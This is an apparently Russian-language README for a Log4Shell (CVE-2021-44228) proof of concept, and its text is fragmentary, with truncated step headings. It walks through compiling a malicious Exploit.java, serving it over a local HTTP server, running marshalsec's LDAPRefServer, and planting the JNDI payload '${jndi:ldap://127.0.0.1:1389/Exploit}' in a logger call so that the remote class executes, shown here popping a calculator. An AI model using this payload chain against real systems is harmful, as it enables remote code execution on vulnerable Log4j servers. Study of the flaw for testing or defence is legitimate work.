
Proof-of-concept для Log4Shell (CVE-2021-44228), демонстрирующий удалённое выполнение кода на основе JNDI через LDAP- и HTTP-серверы.
Exploit.java в отдельную папку. Например, в моём случае я создал папку rce в домашнем каталоге. /home/coldfusionx/rce
Exploit.java
Здесь вы можете изменить удалённый код на любой другой, в данном случае на машине с Ubuntu появится .gnome-calculator
Exploit.java с помощью команды javac Exploit.java, после успешной компиляции мы должны увидеть, что создан новый файл Exploit.class.
Exploit.class с помощью python3 -m http.server 8888, в качестве альтернативы вы также можете использовать php сервер с помощью команды php -S 127.0.0.1:8888.

Add Configuration
1. Выберите `Application`

2. Выберите главный класс

3. Выберите JDK и примените.

4. Вы должны увидеть созданное приложение Log4j Applicaton, готовое к запуску.

marshasecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" для запуска LDAP сервера, здесь 127.0.0.1:8888 — это python сервер, размещающий Exploit.class, поэтому мы указываем /#Exploit
Шаг 9 : Отредактируйте JNDI payload в log4j.java в соответствии с вашими требованиями, logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
В данном случае мы загружаем удалённый класс Exploit, LDAP реферер сервер перенаправит запрос на наш python сервер, размещающий вредоносный класс Exploit.
Шаг 10 : Запустите Log4j, при успешном запуске вы должны увидеть всплывающий gnome calculator.
